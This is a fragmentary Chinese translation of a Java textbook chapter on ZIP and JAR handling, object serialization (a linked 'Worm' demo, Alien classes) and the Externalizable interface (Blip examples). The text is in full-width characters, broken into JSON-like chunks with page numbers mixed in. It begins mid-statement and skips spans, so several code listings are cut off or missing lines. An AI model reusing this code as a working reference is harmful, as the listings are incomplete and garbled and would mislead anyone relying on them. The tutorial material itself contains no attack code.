ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ｃｓｕｍｉ））； ＺｉｐＥｎｔｒｙ ｚｅ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｈｅｃｋｓｕｍ： ＂ ＋ ｃｓｕｍｉ．ｇｅｔＣｈｅｃｋｓｕｍ（）．ｇｅｔＶａｌｕｅ（））； ｗｈｉｌｅ（（ｚｅ ＝ ｉｎ２．ｇｅｔＮｅｘｔＥｎｔｒｙ（）） ！ ＝ ｎｕｌｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅａｄｉｎｇ ｆｉｌｅ ＂ ＋ ｚｅ）； ｉｎｔ ｘ； ｗｈｉｌｅ（（ｘ ＝ ｉｎ２．ｒｅａｄ（）） ！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｗｒｉｔｅ（ｘ）； ｝ ｉｎ２．ｃｌｏｓｅ（）； ３１３ ／／ Ａｌｔｅｒｎａｔｉｖｅ ｗａｙ ｔｏ ｏｐｅｎ ａｎｄ ｒｅａｄ ／／ ｚｉｐ ｆｉｌｅｓ： ＺｉｐＦｉｌｅ ｚｆ ＝ ｎｅｗ ＺｉｐＦｉｌｅ（＂ｔｅｓｔ．ｚｉｐ＂）； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｚｆ．ｅｎｔｒｉｅｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ ＺｉｐＥｎｔｒｙ ｚｅ２ ＝ （ＺｉｐＥｎｔｒｙ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｆｉｌｅ： ＂ ＋ ｚｅ２）； ／／ ．．． ａｎｄ ｅｘｔｒａｃｔ ｔｈｅ ｄａｔａ ａｓ ｂｅｆｏｒｅ ｝ ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 对于要加入压缩档的每一个文件，都必须调用 ｐｕｔＮｅｘｔＥｎｔｒｙ（），并将其传递给一个 ＺｉｐＥｎｔｒｙ 对象。 ＺｉｐＥｎｔｒｙ 对象包含了一个功能全面的接口，利用它可以获取和设置 Ｚｉｐ 文件内那个特定的 Ｅｎｔｒｙ（入口）上 能够接受的所有数据：名字、压缩后和压缩前的长度、日期、ＣＲＣ 校验和、额外字段的数据、注释、压缩方 法以及它是否一个目录入口等等。"},
    {"text": "而且尽管 ＣｈｅｃｋｅｄＩｎｐｕｔＳｔｒｅａｍ 和 ＣｈｅｃｋｅｄＯｕｔｐｕｔＳｔｒｅａｍ 同时提供了对 Ａｄｌｅｒ３２ 和ＣＲＣ３２ 校验和 的支持，但是 ＺｉｐＥｎｔｒｙ 只支持 ＣＲＣ 的接口。"},
    {"text": "在这里保留了指向 ＣｈｅｃｋｅｄＯｕｔｐｕｔＳｔｒｅａｍ 和 ＣｈｅｃｋｅｄＩｎｐｕｔＳｔｒｅａｍ 对象的一个句柄。 但是，也可以只占有指向 Ｃｈｅｃｋｓｕｍ 对象的一个句柄。"},
    {"text": "或者在它创建文件 时，输出会进入标准输出内 ｍ 指出第一个参数将是用户自建的详情表文件的名字 ｖ 产生详细输出，对 ｊａｒ 做的工作进行巨细无遗的描述 Ｏ 只保存文件； 不压缩文件（用于创建一个 ＪＡＲ 文件，以便我们将其置入自己的类路径中） Ｍ 不自动生成详情表文件 在准备进入 ＪＡＲ 文件的文件中，若包括了一个子目录，那个子目录会自动添加，其中包括它自己的所有子目 录，以此类推。"},
    {"text": "下面是调用 ｊａｒ 的一些典型方法： ｊａｒ ｃｆ ｍｙＪａｒＦｉｌｅ．ｊａｒ ＊．ｃｌａｓｓ 用于创建一个名为 ｍｙＪａｒＦｉｌｅ．ｊａｒ 的 ＪＡＲ 文件，其中包含了当前目录中的所有类文件，同时还有自动产生的 详情表文件。 ｊａｒ ｃｍｆ ｍｙＪａｒＦｉｌｅ．ｊａｒ ｍｙＭａｎｉｆｅｓｔＦｉｌｅ．ｍｆ ＊．ｃｌａｓｓ 与前例类似，但添加了一个名为 ｍｙＭａｎｉｆｅｓｔＦｉｌｅ．ｍｆ 的用户自建详情表文件。 ｊａｒ ｔｆ ｍｙＪａｒＦｉｌｅ．ｊａｒ 生成 ｍｙＪａｒＦｉｌｅ．ｊａｒ 内所有文件的一个目录表。 ｊａｒ ｔｖｆ ｍｙＪａｒＦｉｌｅ．ｊａｒ 添加“ｖｅｒｂｏｓｅ”（详尽）标志，提供与 ｍｙＪａｒＦｉｌｅ．ｊａｒ 中的文件有关的、更详细的资料。 ｊａｒ ｃｖｆ ｍｙＡｐｐ．ｊａｒ ａｕｄｉｏ ｃｌａｓｓｅｓ ｉｍａｇｅ 假定 ａｕｄｉｏ，ｃｌａｓｓｅｓ 和 ｉｍａｇｅ 是子目录，这样便将所有子目录合并到文件 ｍｙＡｐｐ．ｊａｒ 中。"},
    {"text": "如果用 Ｏ 选项创建了一个 ＪＡＲ 文件，那个文件就可置入自己的类路径（ＣＬＡＳＳＰＡＴＨ）中： ＣＬＡＳＳＰＡＴＨ＝＂ｌｉｂ１．ｊａｒ；"},
    {"text": "换句话说，可以先在 Ｗｉｎｄｏｗｓ 机器上创 建一个对象，对其序列化，然后通过网络发给一台 Ｕｎｉｘ 机器，然后在那里准确无误地重新“装配”。"},
    {"text": "请记住“持久化”意味 着对象的“生存时间”并不取决于程序是否正在执行——它存在或“生存”于程序的每一次调用之间。 通过 序列化一个对象，将其写入磁盘，以后在程序重新调用时重新恢复那个对象，就能圆满实现一种“持久”效 果。"},
    {"text": "之所以称其为“有限”，是因为不能用某种“ｐｅｒｓｉｓｔｅｎｔ”（持久）关键字简单地地定义一个对象，并 让系统自动照看其他所有细节问题（尽管将来可能成为现实）。"},
    {"text": "具体工作由对象序列化 完成。 对象的序列化处理非常简单，只需对象实现了 Ｓｅｒｉａｌｉｚａｂｌｅ 接口即可（该接口仅是一个标记，没有方法）。"},
    {"text": "在 Ｊａｖａ １．１ 中，许多标准库类都发生了改变，以便能够序列化——其中包括用于基本数据类型的全部封装 器、所有集合类以及其他许多东西。"},
    {"text": "为序列化一个对象，首先要创建某些 ＯｕｔｐｕｔＳｔｒｅａｍ 对象，然后将其封装到 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 对象内。 此 时，只需调用 ｗｒｉｔｅＯｂｊｅｃｔ（）即可完成对象的序列化，并将其发送给 ＯｕｔｐｕｔＳｔｒｅａｍ。"},
    {"text": "它建立了许多链接对象的一个“Ｗｏｒｍ”（蠕虫），每个对象都与 Ｗｏｒｍ 中的下一段链 接，同时又与属于不同类（Ｄａｔａ）的对象句柄数组链接： ／／： Ｗｏｒｍ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｏｂｊｅｃｔ ｓｅｒｉａｌｉｚａｔｉｏｎ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｃｌａｓｓ Ｄａｔａ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； Ｄａｔａ（ｉｎｔ ｘ） ｛ ｉ ＝ ｘ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｗｏｒｍ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ／／ Ｇｅｎｅｒａｔｅ ａ ｒａｎｄｏｍ ｉｎｔ ｖａｌｕｅ： ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｒ（） ｛ ｒｅｔｕｒｎ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １０）； ｝ ｐｒｉｖａｔｅ Ｄａｔａ［］ ｄ ＝ ｛ ｎｅｗ Ｄａｔａ（ｒ（））， ｎｅｗ Ｄａｔａ（ｒ（））， ｎｅｗ Ｄａｔａ（ｒ（）） ｝； ｐｒｉｖａｔｅ Ｗｏｒｍ ｎｅｘｔ； ｐｒｉｖａｔｅ ｃｈａｒ ｃ； ／／ Ｖａｌｕｅ ｏｆ ｉ ＝＝ ｎｕｍｂｅｒ ｏｆ ｓｅｇｍｅｎｔｓ Ｗｏｒｍ（ｉｎｔ ｉ， ｃｈａｒ ｘ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ＂ ＋ ｉ）； ｃ ＝ ｘ； ｉｆ（－－ｉ ＞ ０） ｎｅｘｔ ＝ ｎｅｗ Ｗｏｒｍ（ｉ， （ｃｈａｒ）（ｘ ＋ １））； ｝ Ｗｏｒｍ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ３１６ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ Ｓｔｒｉｎｇ ｓ ＝ ＂：＂ ＋ ｃ ＋ ＂（＂； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｄ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ ＋＝ ｄ［ｉ］．ｔｏＳｔｒｉｎｇ（）； ｓ ＋＝ ＂）＂；"},
    {"text": "＝ ｎｕｌｌ） ｓ ＋＝ ｎｅｘｔ．ｔｏＳｔｒｉｎｇ（）； ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｗｏｒｍ ｗ ＝ ｎｅｗ Ｗｏｒｍ（６， ＇ａ＇）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｗ ＝ ＂ ＋ ｗ）； ｔｒｙ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ｗｏｒｍ．ｏｕｔ＂））； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（＂Ｗｏｒｍ ｓｔｏｒａｇｅ＂）； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（ｗ）； ｏｕｔ．ｃｌｏｓｅ（）； ／／ Ａｌｓｏ ｆｌｕｓｈｅｓ ｏｕｔｐｕｔ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂ｗｏｒｍ．ｏｕｔ＂））； Ｓｔｒｉｎｇ ｓ ＝ （Ｓｔｒｉｎｇ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｗｏｒｍ ｗ２ ＝ （Ｗｏｒｍ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ ＋ ＂， ｗ２ ＝ ＂ ＋ ｗ２）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｔｒｙ ｛ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ ｂｏｕｔ ＝ ｎｅｗ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ（）； ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ｂｏｕｔ）； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（＂Ｗｏｒｍ ｓｔｏｒａｇｅ＂）； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（ｗ）； ｏｕｔ．ｆｌｕｓｈ（）； ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ（ ｂｏｕｔ．ｔｏＢｙｔｅＡｒｒａｙ（）））； Ｓｔｒｉｎｇ ｓ ＝ （Ｓｔｒｉｎｇ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｗｏｒｍ ｗ３ ＝ （Ｗｏｒｍ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ ＋ ＂， ｗ３ ＝ ＂ ＋ ｗ３）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "一次循环后的输出结果如下： Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ６ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ５ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ４ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ３ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： ２ Ｗｏｒｍ ｃｏｎｓｔｒｕｃｔｏｒ： １ ｗ ＝ ：ａ（２６２）：ｂ（１００）：ｃ（３９６）：ｄ（４８０）：ｅ（３１６）：ｆ（３９８） Ｗｏｒｍ ｓｔｏｒａｇｅ， ｗ２ ＝ ：ａ（２６２）：ｂ（１００）：ｃ（３９６）：ｄ（４８０）：ｅ（３１６）：ｆ（３９８） Ｗｏｒｍ ｓｔｏｒａｇｅ， ｗ３ ＝ ：ａ（２６２）：ｂ（１００）：ｃ（３９６）：ｄ（４８０）：ｅ（３１６）：ｆ（３９８） 可以看出，装配回原状的对象确实包含了原来那个对象里包含的所有链接。"},
    {"text": "作为 Ｊａｖａ １．１ 特性的一种，我们注意到对象的序列化并不属于新的 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 层次结构的一部分，而 是沿用老式的 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 结构。"},
    {"text": "下面这个文件位于本章的子目录下： ／／： Ａｌｉｅｎ．ｊａｖａ ／／ Ａ ｓｅｒｉａｌｉｚａｂｌｅ ｃｌａｓｓ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｌｉｅｎ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｝ ／／／：￣ 用于创建和序列化一个 Ａｌｉｅｎ 对象的文件位于相同的目录下： ／／： ＦｒｅｅｚｅＡｌｉｅｎ．ｊａｖａ ／／ Ｃｒｅａｔｅ ａ ｓｅｒｉａｌｉｚｅｄ ｏｕｔｐｕｔ ｆｉｌｅ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＦｒｅｅｚｅＡｌｉｅｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔ ｏｕｔ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ｆｉｌｅ．ｘ＂））；"},
    {"text": "程序编译并运行后，将结果产生的 ｆｉｌｅ．ｘ 复制到名为 ｘｆｉｌｅｓ 的子目录，代码如下： ／／： ＴｈａｗＡｌｉｅｎ．ｊａｖａ ／／ Ｔｒｙ ｔｏ ｒｅｃｏｖｅｒ ａ ｓｅｒｉａｌｉｚｅｄ ｆｉｌｅ ｗｉｔｈｏｕｔ ｔｈｅ ／／ ｃｌａｓｓ ｏｆ ｏｂｊｅｃｔ ｔｈａｔ＇ｓ ｓｔｏｒｅｄ ｉｎ ｔｈａｔ ｆｉｌｅ． ｐａｃｋａｇｅ ｃ１０．ｘｆｉｌｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＴｈａｗＡｌｉｅｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂ｆｉｌｅ．ｘ＂））；"},
    {"text": "Ｏｂｊｅｃｔ ｍｙｓｔｅｒｙ ＝ ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｍｙｓｔｅｒｙ．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（））；"},
    {"text": "然而，一旦尝试查找与对象有关的任何资料——这 要求 Ａｌｉｅｎ 的 Ｃｌａｓｓ 对象——Ｊａｖａ 虚拟机（ＪＶＭ）便找不到 Ａｌｉｅｎ．ｃｌａｓｓ（除非它正好在类路径内，而本例理 应相反）。"},
    {"text": "这样就会得到一个名叫 ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ 的违例（同样地，若非能够校验 Ａｌｉｅｎ 存在的证 据，否则它等于消失）。"},
    {"text": "恢复了一个序列化的对象后，如果想对其做更多的事情，必须保证 ＪＶＭ 能在本地类路径或者因特网的其他什 么地方找到相关的．ｃｌａｓｓ 文件。"},
    {"text": "这个 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 接口扩展了 Ｓｅｒｉａｌｉｚａｂｌｅ，并增添了两个方法：ｗｒｉｔｅＥｘｔｅｒｎａｌ（）和 ｒｅａｄＥｘｔｅｒｎａｌ（）。"},
    {"text": "注意 Ｂｌｉｐ１ 和 Ｂｌｉｐ２ 几乎完全一致，除了极微小 的差别（自己研究一下代码，看看是否能发现）： ／／： Ｂｌｉｐｓ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｕｓｅ ｏｆ Ｅｘｔｅｒｎａｌｉｚａｂｌｅ ＆ ａ ｐｉｔｆａｌｌ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｂｌｉｐ１ ｉｍｐｌｅｍｅｎｔｓ Ｅｘｔｅｒｎａｌｉｚａｂｌｅ ｛ ｐｕｂｌｉｃ Ｂｌｉｐ１（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ１ Ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＯｕｔｐｕｔ ｏｕｔ） ３１９ ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ１．ｗｒｉｔｅＥｘｔｅｒｎａｌ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅａｄＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＩｎｐｕｔ ｉｎ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ１．ｒｅａｄＥｘｔｅｒｎａｌ＂）； ｝ ｝ ｃｌａｓｓ Ｂｌｉｐ２ ｉｍｐｌｅｍｅｎｔｓ Ｅｘｔｅｒｎａｌｉｚａｂｌｅ ｛ Ｂｌｉｐ２（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ２ Ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＯｕｔｐｕｔ ｏｕｔ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ２．ｗｒｉｔｅＥｘｔｅｒｎａｌ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅａｄＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＩｎｐｕｔ ｉｎ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ２．ｒｅａｄＥｘｔｅｒｎａｌ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｌｉｐｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｎｓｔｒｕｃｔｉｎｇ ｏｂｊｅｃｔｓ：＂）； Ｂｌｉｐ１ ｂ１ ＝ ｎｅｗ Ｂｌｉｐ１（）； Ｂｌｉｐ２ ｂ２ ＝ ｎｅｗ Ｂｌｉｐ２（）； ｔｒｙ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｂｌｉｐｓ．ｏｕｔ＂））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓａｖｉｎｇ ｏｂｊｅｃｔｓ：＂）； ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ｂ１）； ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ｂ２）； ｏ．ｃｌｏｓｅ（）； ／／ Ｎｏｗ ｇｅｔ ｔｈｅｍ ｂａｃｋ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｂｌｉｐｓ．ｏｕｔ＂））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅｃｏｖｅｒｉｎｇ ｂ１：＂）； ｂ１ ＝ （Ｂｌｉｐ１）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； ／／ ＯＯＰＳ！ Ｔｈｒｏｗｓ ａｎ ｅｘｃｅｐｔｉｏｎ： ／／！ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅｃｏｖｅｒｉｎｇ ｂ２：＂）；"},
    {"text": "ｂ２ ＝ （Ｂｌｉｐ２）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ ３２０ 该程序输出如下： Ｃｏｎｓｔｒｕｃｔｉｎｇ ｏｂｊｅｃｔｓ： Ｂｌｉｐ１ Ｃｏｎｓｔｒｕｃｔｏｒ Ｂｌｉｐ２ Ｃｏｎｓｔｒｕｃｔｏｒ Ｓａｖｉｎｇ ｏｂｊｅｃｔｓ： Ｂｌｉｐ１．ｗｒｉｔｅＥｘｔｅｒｎａｌ Ｂｌｉｐ２．ｗｒｉｔｅＥｘｔｅｒｎａｌ Ｒｅｃｏｖｅｒｉｎｇ ｂ１： Ｂｌｉｐ１ Ｃｏｎｓｔｒｕｃｔｏｒ Ｂｌｉｐ１．ｒｅａｄＥｘｔｅｒｎａｌ 未恢复 Ｂｌｉｐ２ 对象的原因是那样做会导致一个违例。"},
    {"text": "而对一个 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象，所 有普通的默认构建行为都会发生（包括在字段定义时的初始化），而且会调用 ｒｅａｄＥｘｔｅｒｎａｌ（）。 必须注意这 一事实——特别注意所有默认的构建行为都会进行——否则很难在自己的 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象中产生正确的 行为。"},
    {"text": "下面这个例子揭示了保存和恢复一个 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象必须做的全部事情： ／／： Ｂｌｉｐ３．ｊａｖａ ／／ Ｒｅｃｏｎｓｔｒｕｃｔｉｎｇ ａｎ ｅｘｔｅｒｎａｌｉｚａｂｌｅ ｏｂｊｅｃｔ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｂｌｉｐ３ ｉｍｐｌｅｍｅｎｔｓ Ｅｘｔｅｒｎａｌｉｚａｂｌｅ ｛ ｉｎｔ ｉ； Ｓｔｒｉｎｇ ｓ； ／／ Ｎｏ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｐｕｂｌｉｃ Ｂｌｉｐ３（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ３ Ｃｏｎｓｔｒｕｃｔｏｒ＂）； ／／ ｓ， ｉ ｎｏｔ ｉｎｉｔｉａｌｉｚｅｄ ｝ ｐｕｂｌｉｃ Ｂｌｉｐ３（Ｓｔｒｉｎｇ ｘ， ｉｎｔ ａ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ３（Ｓｔｒｉｎｇ ｘ， ｉｎｔ ａ）＂）； ｓ ＝ ｘ； ｉ ＝ ａ； ／／ ｓ ＆ ｉ ｉｎｉｔｉａｌｉｚｅｄ ｏｎｌｙ ｉｎ ｎｏｎ－ｄｅｆａｕｌｔ ／／ ｃｏｎｓｔｒｕｃｔｏｒ． ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｓ ＋ ｉ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＯｕｔｐｕｔ ｏｕｔ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ３．ｗｒｉｔｅＥｘｔｅｒｎａｌ＂）； ／／ Ｙｏｕ ｍｕｓｔ ｄｏ ｔｈｉｓ： ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（ｓ）； ｏｕｔ．ｗｒｉｔｅＩｎｔ（ｉ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅａｄＥｘｔｅｒｎａｌ（ＯｂｊｅｃｔＩｎｐｕｔ ｉｎ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｌｉｐ３．ｒｅａｄＥｘｔｅｒｎａｌ＂）； ／／ Ｙｏｕ ｍｕｓｔ ｄｏ ｔｈｉｓ： ｓ ＝ （Ｓｔｒｉｎｇ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； ３２１ ｉ ＝ｉｎ．ｒｅａｄＩｎｔ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ 